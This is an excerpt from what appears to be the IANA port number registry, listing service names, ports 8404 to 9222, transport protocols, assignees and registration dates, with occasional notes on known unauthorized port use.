svcloud 8404 tcp SuperVault Cloud [Nine_Technology_LLC] [Alex_Stoev] 2009-09-14 2011-08-01
8404 udp Reserved
svbackup 8405 tcp SuperVault Backup [Nine_Technology_LLC] [Alex_Stoev] 2009-09-14 2011-08-01
8405 udp Reserved
8406-8414 Unassigned
dlpx-sp 8415 tcp Delphix Session Protocol [Delphix_Corp] [Peng_Dai] 2012-11-01
8415 udp Reserved
espeech 8416 tcp eSpeech Session Protocol [Scott_Tarone] [Scott_Tarone] 2002-11
espeech 8416 udp eSpeech Session Protocol [Scott_Tarone] [Scott_Tarone] 2002-11
espeech-rtp 8417 tcp eSpeech RTP Protocol [Scott_Tarone] [Scott_Tarone] 2003-04
espeech-rtp 8417 udp eSpeech RTP Protocol [Scott_Tarone] [Scott_Tarone] 2003-04
8418-8422 Unassigned
aritts 8423 tcp Aristech text-to-speech [Aristech_GmbH] [Mirko_Hering] 2017-03-30
server
8423 udp Reserved
8424-8441 Unassigned
cybro-a-bus 8442 tcp CyBro A-bus Protocol [Damir_Skrjanec] [Damir_Skrjanec] 2007-05
cybro-a-bus 8442 udp CyBro A-bus Protocol [Damir_Skrjanec] [Damir_Skrjanec] 2007-05
pcsync-https 8443 tcp PCsync HTTPS
pcsync-https 8443 udp PCsync HTTPS
pcsync-http 8444 tcp PCsync HTTP [Katy_Lynn_McCullough] [Katy_Lynn_McCullough]
pcsync-http 8444 udp PCsync HTTP [Katy_Lynn_McCullough] [Katy_Lynn_McCullough]
copy 8445 tcp Port for copy peer sync [Copy] [Jason_Dictos] 2012-09-19
feature
copy-disc 8445 udp Port for copy discovery [Copy] [Jason_Dictos] 2012-09-19
8446-8449 Unassigned
npmp 8450 tcp npmp [Ian_Chard] [Ian_Chard]
npmp 8450 udp npmp [Ian_Chard] [Ian_Chard]
8451-8456 Unassigned
nexentamv 8457 tcp Nexenta Management GUI [Nexenta] [Andrew_Galloway] 2012-12-07
8457 udp Reserved
8458-8469 Unassigned
cisco-avp 8470 tcp Cisco Address Validation [Cullen_Jennings] [Cullen_Jennings] 2009-02-13
Protocol
8470 udp Reserved
pim-port 8471 tcp PIM over Reliable Transport [IESG] [IETF_Chair] 2008-08-21 [RFC6559]
pim-port 8471 sctp PIM over Reliable Transport [IESG] [IETF_Chair] 2008-08-21 [RFC6559]
8471 udp Reserved
otv 8472 tcp Overlay Transport [Dino_Farinacci] [Dino_Farinacci] 2008-01-07
Virtualization (OTV)
otv 8472 udp Overlay Transport [Dino_Farinacci] [Dino_Farinacci] 2008-01-07
Virtualization (OTV)
vp2p 8473 tcp Virtual Point to Point [Jerome_Grimbert] [Jerome_Grimbert]
vp2p 8473 udp Virtual Point to Point [Jerome_Grimbert] [Jerome_Grimbert]
noteshare 8474 tcp AquaMinds NoteShare [Michael_McNabb] [Michael_McNabb] 2005-10
noteshare 8474 udp AquaMinds NoteShare [Michael_McNabb] [Michael_McNabb] 2005-10
8475-8499 Unassigned
fmtp 8500 tcp Flight Message Transfer [Eivan_Cerasi] [Eivan_Cerasi] 2003-12
Protocol
fmtp 8500 udp Flight Message Transfer [Eivan_Cerasi] [Eivan_Cerasi] 2003-12
Protocol
cmtp-mgt 8501 tcp CYTEL Message Transfer
Management
cmtp-av 8501 udp CYTEL Message Transfer Audio [Frank_Jakel] [Frank_Jakel] 2011-04-29
and Video
ftnmtp 8502 tcp FTN Message Transfer [Yuri_Myakotin] [Yuri_Myakotin] 2014-01-07
Protocol
8502 udp Reserved
lsp-self-ping 8503 udp MPLS LSP Self-Ping [IESG] [IETF_Chair] 2015-06-11 2016-02-01 [RFC7746]
8503 tcp Reserved
8504-8553 Unassigned
rtsp-alt 8554 tcp RTSP Alternate (see port [Stephen_Casner_2] [Stephen_Casner_2]
554)
rtsp-alt 8554 udp RTSP Alternate (see port [Stephen_Casner_2] [Stephen_Casner_2]
554)
d-fence 8555 tcp SYMAX D-FENCE [Thomas_Geisel] [Thomas_Geisel] 2003-01
d-fence 8555 udp SYMAX D-FENCE [Thomas_Geisel] [Thomas_Geisel] 2003-01
8556-8566 Unassigned
dof-tunnel 8567 tcp DOF Tunneling Protocol [OpenDOF] [Bryant_Eastham] 2005-08 2015-04-23
dof-tunnel 8567 udp DOF Tunneling Protocol [OpenDOF] [Bryant_Eastham] 2005-08 2015-04-23
8568-8599 Unassigned
asterix 8600 tcp Surveillance Data [Eivan_Cerasi] [Eivan_Cerasi] 2005-11
asterix 8600 udp Surveillance Data [Eivan_Cerasi] [Eivan_Cerasi] 2005-11
8601-8608 Unassigned
8609 tcp Reserved
canon-cpp-disc 8609 udp Canon Compact Printer [Canon_Inc] [Ryusuke_Okuhara] 2012-06-08 2012-06-15
Protocol Discovery
canon-mfnp 8610 tcp Canon MFNP Service [Ritsuto_Sako] [Ritsuto_Sako] 2009-05-04
canon-mfnp 8610 udp Canon MFNP Service [Ritsuto_Sako] [Ritsuto_Sako] 2009-05-04
canon-bjnp1 8611 tcp Canon BJNP Port 1 [Atsushi_Nakamura] [Atsushi_Nakamura] 2003-11
canon-bjnp1 8611 udp Canon BJNP Port 1 [Atsushi_Nakamura] [Atsushi_Nakamura] 2003-11
canon-bjnp2 8612 tcp Canon BJNP Port 2 [Atsushi_Nakamura] [Atsushi_Nakamura] 2003-11
canon-bjnp2 8612 udp Canon BJNP Port 2 [Atsushi_Nakamura] [Atsushi_Nakamura] 2003-11
canon-bjnp3 8613 tcp Canon BJNP Port 3 [Atsushi_Nakamura] [Atsushi_Nakamura] 2003-11
canon-bjnp3 8613 udp Canon BJNP Port 3 [Atsushi_Nakamura] [Atsushi_Nakamura] 2003-11
canon-bjnp4 8614 tcp Canon BJNP Port 4 [Atsushi_Nakamura] [Atsushi_Nakamura] 2003-11
canon-bjnp4 8614 udp Canon BJNP Port 4 [Atsushi_Nakamura] [Atsushi_Nakamura] 2003-11
imink 8615 tcp Imink Service Control [Canon_Inc] [KEN_ICHI_FUJII] 2011-10-10
8615 udp Reserved
Unauthorized
8616-8664 Unassigned Use Known on
ports 8616
and 8617
monetra 8665 tcp Monetra [Main_Street_Softworks] [Brad_House] 2013-04-02
8665 udp Reserved
monetra-admin 8666 tcp Monetra Administrative [Main_Street_Softworks] [Brad_House] 2013-04-02
Access
8666 udp Reserved
8667-8674 Unassigned
Motorola Solutions Customer
msi-cps-rm 8675 tcp Programming Software for [Motorola_Solutions_Inc] [Jenish_Amin] 2012-03-14
Radio Management
Motorola Solutions Customer
msi-cps-rm-disc 8675 udp Programming Software for [Motorola_Solutions_Inc] [Jenish_Amin] 2012-03-14
Radio Management Discovery
8676-8685 Unassigned
sun-as-jmxrmi 8686 tcp Sun App Server - JMX/RMI [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
sun-as-jmxrmi 8686 udp Sun App Server - JMX/RMI [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
8687 Unassigned
openremote-ctrl 8688 tcp OpenRemote Controller [OpenRemote_Inc] [Juha_Lindfors] 2012-12-18
HTTP/REST
8688 udp Reserved
8689-8698 Unassigned
vnyx 8699 tcp VNYX Primary Port [Gregg_Green] [Gregg_Green] 2004-11
8699 udp Reserved 2004-11 2013-05-24 This entry is being removed on 2013-05-24.
8700-8710 Unassigned
nvc 8711 tcp Nuance Voice Control [Nuance_Communications_Inc2] [Diego_Negre] 2012-10-05
8711 udp Reserved
8712-8731 Unassigned
8732 tcp Reserved
dtp-net 8732 udp DASGIP Net Services [Dr_Matthias_Arnold] [Dr_Matthias_Arnold] 2009-03-23
ibus 8733 tcp iBus [Silvano_Maffeis] [Silvano_Maffeis]
ibus 8733 udp iBus [Silvano_Maffeis] [Silvano_Maffeis]
8734-8749 Unassigned
dey-keyneg 8750 tcp DEY Storage Key Negotiation [DEY_Storage_Systems_Inc] [Garrett_D_Amore] 2013-03-01
8750 udp Reserved
8751-8762 Unassigned
mc-appserver 8763 tcp MC-APPSERVER [Romeo_Kasanwidjojo] [Romeo_Kasanwidjojo]
mc-appserver 8763 udp MC-APPSERVER [Romeo_Kasanwidjojo] [Romeo_Kasanwidjojo]
openqueue 8764 tcp OPENQUEUE [Matt_Jensen] [Matt_Jensen]
openqueue 8764 udp OPENQUEUE [Matt_Jensen] [Matt_Jensen]
ultraseek-http 8765 tcp Ultraseek HTTP [Walter_Underwood] [Walter_Underwood]
ultraseek-http 8765 udp Ultraseek HTTP [Walter_Underwood] [Walter_Underwood]
amcs 8766 tcp Agilent Connectivity Service [Keysight_Technologies_Inc] [Tom_Fay] 2013-01-16 2016-09-12
amcs 8766 udp Agilent Connectivity Service [Keysight_Technologies_Inc] [Tom_Fay] 2013-01-16 2016-09-12
8767-8769 Unassigned
dpap 8770 tcp Digital Photo Access [Amandeep_Jawa_2] [Amandeep_Jawa_2] 2004-11 Defined TXT keys: txtvers, Version, iPSh Version, Machine ID,
Protocol (iPhoto) Machine Name, Password
dpap 8770 udp Digital Photo Access [Amandeep_Jawa_2] [Amandeep_Jawa_2] 2004-11 Defined TXT keys: txtvers, Version, iPSh Version, Machine ID,
Protocol (iPhoto) Machine Name, Password
8771-8777 Unassigned
uec 8778 tcp Stonebranch Universal [Stonebranch_Inc] [Nathan_Hammond_2] 2013-06-25
Enterprise Controller
8778 udp Reserved
8779-8785 Unassigned
msgclnt 8786 tcp Message Client
msgclnt 8786 udp Message Client
msgsrvr 8787 tcp Message Server [Michael_O_Brien] [Michael_O_Brien] 2003-03
msgsrvr 8787 udp Message Server [Michael_O_Brien] [Michael_O_Brien] 2003-03
8788-8792 Unassigned
acd-pm 8793 tcp Accedian Performance [Marco_Mascitto] [Marco_Mascitto]
Measurement
acd-pm 8793 udp Accedian Performance [Marco_Mascitto] [Marco_Mascitto]
Measurement
8794-8799 Unassigned
sunwebadmin 8800 tcp Sun Web Server Admin Service [Jyri_J_Virkki] [Jyri_J_Virkki] 2005-12
sunwebadmin 8800 udp Sun Web Server Admin Service [Jyri_J_Virkki] [Jyri_J_Virkki] 2005-12
Known
8801-8803 Unassigned UNAUTHORIZED
USE: Port
8801
truecm 8804 tcp truecm [Scott_Kramer] [Scott_Kramer]
truecm 8804 udp truecm [Scott_Kramer] [Scott_Kramer]
8805 tcp Reserved
pfcp 8805 udp Destination Port number for [Kimmo_Kymalainen] [Kimmo_Kymalainen] 2017-05-08
PFCP
8806 Unassigned
8807 tcp Reserved
hes-clip 8807 udp HES-CLIP Interoperability [Tim_Schoechle] [Ludo_Bertsch] 2018-09-07
protocol
8808 tcp Reserved
ssports-bcast 8808 udp STATSports Broadcast Service [Statsports_International] [Catalin_Caranfil] 2016-12-22
8809-8872 Unassigned
dxspider 8873 tcp dxspider linking protocol [Dirk_Koopman] [Dirk_Koopman] 2005-08
dxspider 8873 udp dxspider linking protocol [Dirk_Koopman] [Dirk_Koopman] 2005-08
8874-8879 Unassigned
cddbp-alt 8880 tcp CDDBP [Steve_Scherf] [Steve_Scherf]
cddbp-alt 8880 udp CDDBP [Steve_Scherf] [Steve_Scherf]
galaxy4d 8881 tcp Galaxy4D Online Game Engine [Galaxy4D] [Olivier_St-Laurent] 2012-06-18
8881 udp Reserved
Unauthorized
8882 Unassigned Use Known on
port 8882
secure-mqtt 8883 tcp Secure MQTT [OASIS] [Robin_Cover] 2008-02-27 2015-03-06
secure-mqtt 8883 udp Secure MQTT [OASIS] [Robin_Cover] 2008-02-27 2015-03-06
8884-8887 Unassigned
Known
ddi-tcp-1 8888 tcp NewsEDGE server TCP (TCP 1) [Fred_Yao] [Fred_Yao] Unauthorized
Use on port
8888
Known
ddi-udp-1 8888 udp NewsEDGE server UDP (UDP 1) [Fred_Yao] [Fred_Yao] Unauthorized
Use on port
8888
Known
ddi-tcp-2 8889 tcp Desktop Data TCP 1 [Fred_Yao] [Fred_Yao] Unauthorized
Use on port
8889
Known
ddi-udp-2 8889 udp NewsEDGE server broadcast [Fred_Yao] [Fred_Yao] Unauthorized
Use on port
8889
Known
ddi-tcp-3 8890 tcp Desktop Data TCP 2 [Fred_Yao] [Fred_Yao] Unauthorized
Use on port
8890
Known
ddi-udp-3 8890 udp NewsEDGE client broadcast [Fred_Yao] [Fred_Yao] Unauthorized
Use on port
8890
ddi-tcp-4 8891 tcp Desktop Data TCP 3: NESS [Fred_Yao] [Fred_Yao]
application
ddi-udp-4 8891 udp Desktop Data UDP 3: NESS [Fred_Yao] [Fred_Yao]
application
ddi-tcp-5 8892 tcp Desktop Data TCP 4: FARM [Fred_Yao] [Fred_Yao]
product
ddi-udp-5 8892 udp Desktop Data UDP 4: FARM [Fred_Yao] [Fred_Yao]
product
ddi-tcp-6 8893 tcp Desktop Data TCP 5: [Fred_Yao] [Fred_Yao]
NewsEDGE/Web application
ddi-udp-6 8893 udp Desktop Data UDP 5: [Fred_Yao] [Fred_Yao]
NewsEDGE/Web application
ddi-tcp-7 8894 tcp Desktop Data TCP 6: COAL [Fred_Yao] [Fred_Yao]
application
ddi-udp-7 8894 udp Desktop Data UDP 6: COAL [Fred_Yao] [Fred_Yao]
application
8895-8898 Unassigned
ospf-lite 8899 tcp ospf-lite [Matthew_Thomas] [Matthew_Thomas] 2008-01-07
ospf-lite 8899 udp ospf-lite [Matthew_Thomas] [Matthew_Thomas] 2008-01-07
jmb-cds1 8900 tcp JMB-CDS 1 [Curtis_Bray] [Curtis_Bray]
jmb-cds1 8900 udp JMB-CDS 1 [Curtis_Bray] [Curtis_Bray]
jmb-cds2 8901 tcp JMB-CDS 2 [Curtis_Bray] [Curtis_Bray]
jmb-cds2 8901 udp JMB-CDS 2 [Curtis_Bray] [Curtis_Bray]
8902-8909 Unassigned
manyone-http 8910 tcp manyone-http [Matt_King] [Matt_King] 2002-04
manyone-http 8910 udp manyone-http [Matt_King] [Matt_King] 2002-04
manyone-xml 8911 tcp manyone-xml [Matt_King] [Matt_King] 2002-04
manyone-xml 8911 udp manyone-xml [Matt_King] [Matt_King] 2002-04
wcbackup 8912 tcp Windows Client Backup [Jim_Lyon] [Jim_Lyon] 2005-11
wcbackup 8912 udp Windows Client Backup [Jim_Lyon] [Jim_Lyon] 2005-11
dragonfly 8913 tcp Dragonfly System Service [Paul_Hodara] [Paul_Hodara] 2005-11
dragonfly 8913 udp Dragonfly System Service [Paul_Hodara] [Paul_Hodara] 2005-11
8914-8936 Unassigned
twds 8937 tcp Transaction Warehouse Data [Lance_M_Steenson] [Lance_M_Steenson] 2009-09-18
Service
8937 udp Reserved
8938-8952 Unassigned
ub-dns-control 8953 tcp unbound dns nameserver [NLnet_Labs_Support] [NLnet_Labs_Support] 2011-05-10 2011-07-11
control
8953 udp Reserved
cumulus-admin 8954 tcp Cumulus Admin Port [Thomas_Schleu] [Thomas_Schleu]
cumulus-admin 8954 udp Cumulus Admin Port [Thomas_Schleu] [Thomas_Schleu]
8955-8979 Unassigned
nod-provider 8980 tcp Network of Devices Provider [David_Muller] [David_Muller] 2015-02-22
nod-provider 8980 udp Network of Devices Provider [David_Muller] [David_Muller] 2015-02-22
nod-client 8981 udp Network of Devices Client [David_Muller] [David_Muller] 2015-02-22
8981 tcp Reserved
8982-8988 Unassigned
sunwebadmins 8989 tcp Sun Web Server SSL Admin [Jyri_J_Virkki] [Jyri_J_Virkki] 2005-12
Service
sunwebadmins 8989 udp Sun Web Server SSL Admin [Jyri_J_Virkki] [Jyri_J_Virkki] 2005-12
Service
http-wmap 8990 tcp webmail HTTP service [Chris_Newman] [Chris_Newman] 2007-12-03
http-wmap 8990 udp webmail HTTP service [Chris_Newman] [Chris_Newman] 2007-12-03
https-wmap 8991 tcp webmail HTTPS service [Chris_Newman] [Chris_Newman] 2007-12-03
https-wmap 8991 udp webmail HTTPS service [Chris_Newman] [Chris_Newman] 2007-12-03
8992-8996 Unassigned
oracle-ms-ens 8997 tcp Oracle Messaging Server [Oracle_6] [Hubert_Vijay_Arokiasamy] 2014-10-28
Event Notification Service
8997 udp Reserved
canto-roboflow 8998 tcp Canto RoboFlow Control [Canto] [Thomas_Schleu_2] 2014-02-26
8998 udp Reserved
bctp 8999 tcp Brodos Crypto Trade Protocol [Alexander_Sahler] [Alexander_Sahler] 2002-02
bctp 8999 udp Brodos Crypto Trade Protocol [Alexander_Sahler] [Alexander_Sahler] 2002-02
cslistener 9000 tcp CSlistener [David_Jones] [David_Jones]
cslistener 9000 udp CSlistener [David_Jones] [David_Jones]
Known
etlservicemgr 9001 tcp ETL Service Manager [Stephen_McCrea] [Stephen_McCrea] 2002-03 Unauthorized
Use on port
9001
Known
etlservicemgr 9001 udp ETL Service Manager [Stephen_McCrea] [Stephen_McCrea] 2002-03 Unauthorized
Use on port
9001
dynamid 9002 tcp DynamID authentication [Jerome_Dusautois] [Jerome_Dusautois] 2002-03
dynamid 9002 udp DynamID authentication [Jerome_Dusautois] [Jerome_Dusautois] 2002-03
9003-9004 Unassigned
golem 9005 tcp Golem Inter-System RPC [Jose_Luis_Tallon] [Jose_Luis_Tallon] 2015-03-09
9005 udp Reserved
9006 De-Commissioned Port 2000-02-24
9007 tcp Reserved
ogs-client 9007 udp Open Grid Services Client [Gareth_Nelson_2] [Gareth_Nelson_2] 2008-08-22
ogs-server 9008 tcp Open Grid Services Server [Gareth_Nelson_2] [Gareth_Nelson_2] 2008-08-22
9008 udp Reserved
pichat 9009 tcp Pichat Server [Mark_Seuffert] [Mark_Seuffert] 2004-11
pichat 9009 udp Pichat Server [Mark_Seuffert] [Mark_Seuffert] 2004-11
sdr 9010 tcp Secure Data Replicator [Sufyan_Almajali] [Sufyan_Almajali] 2008-06-27
Protocol
9010 udp Reserved
9011 tcp Reserved
d-star 9011 udp D-Star Routing digital [QuadNet2_USA_IRC_Network] [Thomas_A_Early] 2018-03-16
voice+data for amateur radio
9012-9019 Unassigned
tambora 9020 tcp TAMBORA [Jason_van_Zyl] [Jason_van_Zyl] 2002-03
tambora 9020 udp TAMBORA [Jason_van_Zyl] [Jason_van_Zyl] 2002-03
panagolin-ident 9021 tcp Pangolin Identification [William_Benner_2] [William_Benner_2] 2002-03
panagolin-ident 9021 udp Pangolin Identification [William_Benner_2] [William_Benner_2] 2002-03
paragent 9022 tcp PrivateArk Remote Agent [Gal_Cucuy] [Gal_Cucuy] 2002-03
paragent 9022 udp PrivateArk Remote Agent [Gal_Cucuy] [Gal_Cucuy] 2002-03
swa-1 9023 tcp Secure Web Access - 1 [Tim_McGranaghan] [Tim_McGranaghan]
swa-1 9023 udp Secure Web Access - 1 [Tim_McGranaghan] [Tim_McGranaghan]
swa-2 9024 tcp Secure Web Access - 2 [Tim_McGranaghan] [Tim_McGranaghan]
swa-2 9024 udp Secure Web Access - 2 [Tim_McGranaghan] [Tim_McGranaghan]
swa-3 9025 tcp Secure Web Access - 3 [Tim_McGranaghan] [Tim_McGranaghan]
swa-3 9025 udp Secure Web Access - 3 [Tim_McGranaghan] [Tim_McGranaghan]
swa-4 9026 tcp Secure Web Access - 4 [Tim_McGranaghan] [Tim_McGranaghan]
swa-4 9026 udp Secure Web Access - 4 [Tim_McGranaghan] [Tim_McGranaghan]
9027-9049 Unassigned
versiera 9050 tcp Versiera Agent Listener [Frank_Pikelner] [Frank_Pikelner] 2010-01-15
9050 udp Reserved
fio-cmgmt 9051 tcp Fusion-io Central Manager [Jim_Sermersheim] [Jim_Sermersheim] 2010-01-15
Service
9051 udp Reserved
9052-9059 Unassigned
CardWeb-IO 9060 tcp CardWeb request-response I/O [Virtual_Electric_Inc] [David_Wyatt] 2016-10-07
exchange
CardWeb-RT 9060 udp CardWeb realtime device data [Virtual_Electric_Inc] [David_Wyatt] 2016-10-07
9061-9079 Unassigned
glrpc 9080 tcp Groove GLRPC [Adrian_Popescu] [Adrian_Popescu] 2002-09
glrpc 9080 udp Groove GLRPC [Adrian_Popescu] [Adrian_Popescu] 2002-09
9081 tcp Reserved
cisco-aqos 9081 udp Required for Adaptive [Manish_Surolia] [Manish_Surolia] 2017-10-27
Quality of Service
lcs-ap 9082 sctp LCS Application Protocol [Kimmo_Kymalainen] [Kimmo_Kymalainen] 2010-06-04
emc-pp-mgmtsvc 9083 tcp EMC PowerPath Mgmt Service [Jim_Perreault] [Jim_Perreault] 2010-06-04
9083 udp Reserved
aurora 9084 tcp IBM AURORA Performance [Jeroen_Massar_2] [Jeroen_Massar_2] 2008-08-21
Visualizer
aurora 9084 udp IBM AURORA Performance [Jeroen_Massar_2] [Jeroen_Massar_2] 2008-08-21
Visualizer
aurora 9084 sctp IBM AURORA Performance [Jeroen_Massar_2] [Jeroen_Massar_2] 2008-08-21
Visualizer
ibm-rsyscon 9085 tcp IBM Remote System Console [William_LePera] [William_LePera] 2008-06-18
ibm-rsyscon 9085 udp IBM Remote System Console [William_LePera] [William_LePera] 2008-06-18
net2display 9086 tcp Vesa Net2Display [Kenneth_B_Ocheltree] [Kenneth_B_Ocheltree] 2008-01-07
net2display 9086 udp Vesa Net2Display [Kenneth_B_Ocheltree] [Kenneth_B_Ocheltree] 2008-01-07
classic 9087 tcp Classic Data Server [Paul_Cadarette] [Paul_Cadarette] 2007-01
classic 9087 udp Classic Data Server [Paul_Cadarette] [Paul_Cadarette] 2007-01
sqlexec 9088 tcp IBM Informix SQL Interface [Jonathan_Leffler] [Jonathan_Leffler] 2005-12
sqlexec 9088 udp IBM Informix SQL Interface [Jonathan_Leffler] [Jonathan_Leffler] 2005-12
sqlexec-ssl 9089 tcp IBM Informix SQL Interface - [Jonathan_Leffler] [Jonathan_Leffler] 2005-12
Encrypted
sqlexec-ssl 9089 udp IBM Informix SQL Interface - [Jonathan_Leffler] [Jonathan_Leffler] 2005-12
Encrypted
websm 9090 tcp WebSM [I_Hsing_Tsao] [I_Hsing_Tsao]
websm 9090 udp WebSM [I_Hsing_Tsao] [I_Hsing_Tsao]
xmltec-xmlmail 9091 tcp xmltec-xmlmail [Mitch_Kaufman] [Mitch_Kaufman]
xmltec-xmlmail 9091 udp xmltec-xmlmail [Mitch_Kaufman] [Mitch_Kaufman]
XmlIpcRegSvc 9092 tcp Xml-Ipc Server Reg [Casey_Harrington] [Casey_Harrington] 2006-01
XmlIpcRegSvc 9092 udp Xml-Ipc Server Reg [Casey_Harrington] [Casey_Harrington] 2006-01
copycat 9093 tcp Copycat database replication [Microtec_Informatique] [Raphael_Neve] 2012-03-15
service
9093 udp Reserved
9094-9099 Unassigned
hp-pdl-datastr 9100 tcp PDL Data Streaming Port [Shivaun_Albright] [Shivaun_Albright] 2002-04
hp-pdl-datastr 9100 udp PDL Data Streaming Port [Shivaun_Albright] [Shivaun_Albright] 2002-04
The protocol name "pdl-datastream" is primarily registered
pdl-datastream 9100 tcp Printer PDL Data Stream [Stuart_Cheshire_4] [Stuart_Cheshire_4] 2002-09 for use in DNS SRV records (RFC 2782). DNS SRV records allow
a protocol to run on any port number, but the default port
for this protocol is 9100.
The protocol name "pdl-datastream" is primarily registered
pdl-datastream 9100 udp Printer PDL Data Stream [Stuart_Cheshire_4] [Stuart_Cheshire_4] 2002-09 for use in DNS SRV records (RFC 2782). DNS SRV records allow
a protocol to run on any port number, but the default port
for this protocol is 9100.
bacula-dir 9101 tcp Bacula Director [Kern_Sibbald] [Kern_Sibbald] 2002-01
bacula-dir 9101 udp Bacula Director [Kern_Sibbald] [Kern_Sibbald] 2002-01
bacula-fd 9102 tcp Bacula File Daemon [Kern_Sibbald] [Kern_Sibbald] 2002-01
bacula-fd 9102 udp Bacula File Daemon [Kern_Sibbald] [Kern_Sibbald] 2002-01
bacula-sd 9103 tcp Bacula Storage Daemon [Kern_Sibbald] [Kern_Sibbald] 2002-01
bacula-sd 9103 udp Bacula Storage Daemon [Kern_Sibbald] [Kern_Sibbald] 2002-01
peerwire 9104 tcp PeerWire [Steven_Gerhardt] [Steven_Gerhardt] 2004-02
peerwire 9104 udp PeerWire [Steven_Gerhardt] [Steven_Gerhardt] 2004-02
xadmin 9105 tcp Xadmin Control Service [Ariën Huisken <xadmin&huisken-systems.nl>
15 June 2009]
xadmin 9105 udp Xadmin Control Service [Ariën Huisken <xadmin&huisken-systems.nl>
15 June 2009]
astergate 9106 tcp Astergate Control Service [Ari_Huisken] [Ari_Huisken] 2010-01-04
astergate-disc 9106 udp Astergate Discovery Service [Ari_Huisken] [Ari_Huisken] 2010-01-04
astergatefax 9107 tcp AstergateFax Control Service [Gijs_Middelkamp] [Gijs_Middelkamp] 2010-02-03
9107 udp Reserved
9108-9110 Unassigned
hexxorecore 9111 tcp Multiple Purpose, [Hexxore] [Patrick_Roozeboom] 2018-07-31
Distributed Message Bus
hexxorecore 9111 udp Multiple Purpose, [Hexxore] [Patrick_Roozeboom] 2018-07-31
Distributed Message Bus
9112-9118 Unassigned
mxit 9119 tcp MXit Instant Messaging [Marnus_Freeman] [Marnus_Freeman] 2006-02
mxit 9119 udp MXit Instant Messaging [Marnus_Freeman] [Marnus_Freeman] 2006-02
9120-9121 Unassigned
Global Relay compliant
grcmp 9122 tcp mobile instant messaging [Global_Relay] [Mike_Sample] 2012-11-28
protocol
9122 udp Reserved
grcp 9123 tcp Global Relay compliant [Global_Relay] [Mike_Sample] 2012-11-28
instant messaging protocol
9123 udp Reserved
9124-9130 Unassigned
dddp 9131 tcp Dynamic Device Discovery [Shane_Dick] [Shane_Dick] 2005-08
dddp 9131 udp Dynamic Device Discovery [Shane_Dick] [Shane_Dick] 2005-08
9132-9159 Unassigned
apani1 9160 tcp apani1 [Neal_Taylor] [Neal_Taylor]
apani1 9160 udp apani1 [Neal_Taylor] [Neal_Taylor]
apani2 9161 tcp apani2 [Neal_Taylor] [Neal_Taylor]
apani2 9161 udp apani2 [Neal_Taylor] [Neal_Taylor]
apani3 9162 tcp apani3 [Neal_Taylor] [Neal_Taylor]
apani3 9162 udp apani3 [Neal_Taylor] [Neal_Taylor]
apani4 9163 tcp apani4 [Neal_Taylor] [Neal_Taylor]
apani4 9163 udp apani4 [Neal_Taylor] [Neal_Taylor]
apani5 9164 tcp apani5 [Neal_Taylor] [Neal_Taylor]
apani5 9164 udp apani5 [Neal_Taylor] [Neal_Taylor]
9165-9190 Unassigned
sun-as-jpda 9191 tcp Sun AppSvr JPDA [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
sun-as-jpda 9191 udp Sun AppSvr JPDA [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
9192-9199 Unassigned
wap-wsp 9200 tcp WAP connectionless session [WAP_Forum] [WAP_Forum]
service
wap-wsp 9200 udp WAP connectionless session [WAP_Forum] [WAP_Forum]
service
wap-wsp-wtp 9201 tcp WAP session service [WAP_Forum] [WAP_Forum]
wap-wsp-wtp 9201 udp WAP session service [WAP_Forum] [WAP_Forum]
wap-wsp-s 9202 tcp WAP secure connectionless [WAP_Forum] [WAP_Forum]
session service
wap-wsp-s 9202 udp WAP secure connectionless [WAP_Forum] [WAP_Forum]
session service
wap-wsp-wtp-s 9203 tcp WAP secure session service [WAP_Forum] [WAP_Forum]
wap-wsp-wtp-s 9203 udp WAP secure session service [WAP_Forum] [WAP_Forum]
wap-vcard 9204 tcp WAP vCard [WAP_Forum] [WAP_Forum]
wap-vcard 9204 udp WAP vCard [WAP_Forum] [WAP_Forum]
wap-vcal 9205 tcp WAP vCal [WAP_Forum] [WAP_Forum]
wap-vcal 9205 udp WAP vCal [WAP_Forum] [WAP_Forum]
wap-vcard-s 9206 tcp WAP vCard Secure [WAP_Forum] [WAP_Forum]
wap-vcard-s 9206 udp WAP vCard Secure [WAP_Forum] [WAP_Forum]
wap-vcal-s 9207 tcp WAP vCal Secure [WAP_Forum] [WAP_Forum]
wap-vcal-s 9207 udp WAP vCal Secure [WAP_Forum] [WAP_Forum]
rjcdb-vcards 9208 tcp rjcdb vCard [Robert_John_Churchil] [Robert_John_Churchil] 2006-01
rjcdb-vcards 9208 udp rjcdb vCard [Robert_John_Churchil] [Robert_John_Churchil] 2006-01
almobile-system 9209 tcp ALMobile System Service [Rob_Graber] [Rob_Graber] 2006-01
almobile-system 9209 udp ALMobile System Service [Rob_Graber] [Rob_Graber] 2006-01
oma-mlp 9210 tcp OMA Mobile Location Protocol [Hans_Rohnert] [Hans_Rohnert] 2002-04
oma-mlp 9210 udp OMA Mobile Location Protocol [Hans_Rohnert] [Hans_Rohnert] 2002-04
oma-mlp-s 9211 tcp OMA Mobile Location Protocol [Hans_Rohnert] [Hans_Rohnert] 2002-04
Secure
oma-mlp-s 9211 udp OMA Mobile Location Protocol [Hans_Rohnert] [Hans_Rohnert] 2002-04
Secure
serverviewdbms 9212 tcp Server View dbms access [Detlef_Rothe] [Detlef_Rothe] 2009-05-15
serverviewdbms 9212 udp Server View dbms access [Detlef_Rothe] [Detlef_Rothe] 2009-05-15
serverstart 9213 tcp ServerStart RemoteControl [Detlef_Rothe] [Detlef_Rothe] 2009-05-15
serverstart 9213 udp ServerStart RemoteControl [Detlef_Rothe] [Detlef_Rothe] 2009-05-15
ipdcesgbs 9214 tcp IPDC ESG BootstrapService [Joerg_Heuer] [Joerg_Heuer] 2006-02
ipdcesgbs 9214 udp IPDC ESG BootstrapService [Joerg_Heuer] [Joerg_Heuer] 2006-02
insis 9215 tcp Integrated Setup and Install [Markus_Treinen] [Markus_Treinen] 2006-02
Service
insis 9215 udp Integrated Setup and Install [Markus_Treinen] [Markus_Treinen] 2006-02
Service
acme 9216 tcp Aionex Communication [Mark_Sapp] [Mark_Sapp] 2006-04
Management Engine
acme 9216 udp Aionex Communication [Mark_Sapp] [Mark_Sapp] 2006-04
Management Engine
fsc-port 9217 tcp FSC Communication Port [Teijo_Mustonen] [Teijo_Mustonen] 2002-03
fsc-port 9217 udp FSC Communication Port [Teijo_Mustonen] [Teijo_Mustonen] 2002-03
9218-9221 Unassigned
teamcoherence 9222 tcp QSC Team Coherence [Ewan_McNab] [Ewan_McNab] 2004-11
